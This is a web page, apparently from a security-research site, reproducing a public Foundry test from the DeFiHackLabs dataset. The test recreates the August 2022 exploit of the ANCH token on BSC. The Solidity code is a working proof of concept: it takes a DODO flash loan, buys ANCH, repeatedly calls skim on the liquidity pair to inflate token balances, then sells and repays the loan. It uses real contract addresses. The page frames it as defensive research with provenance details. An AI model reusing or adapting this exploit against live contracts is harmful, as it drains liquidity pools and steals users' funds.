Skip to content
THREATWIRE

Public reproduction file

src/test/2022-08/ANCH_exp.sol

Public reproduction file for dataset entry ANCH.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/ANCH_exp.sol64 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1557846766682140672
9// @Contract address
10// https://bscscan.com/address/0xa4f5d4afd6b9226b3004dd276a9f778eb75f2e9e#code
12contract ContractTest is Test {
13 IERC20 ANCH = IERC20(0xA4f5d4aFd6b9226b3004dD276A9F778EB75f2e9e);
14 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
15 Uni_Pair_V2 Pair = Uni_Pair_V2(0xaD0dA05b9C20fa541012eE2e89AC99A864CC68Bb);
16 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
17 address dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;
19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
21 function setUp() public {
22 cheats.createSelectFork("bsc", 20_302_534);
23 }
25 function testExploit() public {
26 USDT.approve(address(Router), type(uint256).max);
27 ANCH.approve(address(Router), type(uint256).max);
28 DVM(dodo).flashLoan(0, 50_000 * 1e18, address(this), new bytes(1));
30 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
31 }
33 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
34 // get ANCH
35 buyANCH();
36 // call skim to add ANCH amount
37 ANCH.transfer(address(Pair), ANCH.balanceOf(address(this)));
38 for (uint256 index = 0; index < 60; index++) {
39 Pair.skim(address(Pair));
40 }
41 Pair.skim(address(this));
42 // sell ANCH
43 sellANCH();
44 USDT.transfer(dodo, 50_000 * 1e18);
45 }
47 function buyANCH() internal {
48 address[] memory path = new address[](2);
49 path[0] = address(USDT);
50 path[1] = address(ANCH);
51 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
52 USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp
53 );
54 }
56 function sellANCH() internal {
57 address[] memory path = new address[](2);
58 path[0] = address(ANCH);
59 path[1] = address(USDT);
60 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
61 ANCH.balanceOf(address(this)), 0, path, address(this), block.timestamp
62 );
63 }

Analysis

Dataset entry

Public Foundry test for “ANCH” (2022-08-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
ANCH
Path
src/test/2022-08/ANCH_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
11eb4fac76df6ff1ba718003a5bfe0a23211afee
Language
Solidity
Size
65 lines
Date
2022-08-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-08/ANCH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 11eb4fac76df6ff1ba718003a5bfe0a23211afee, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.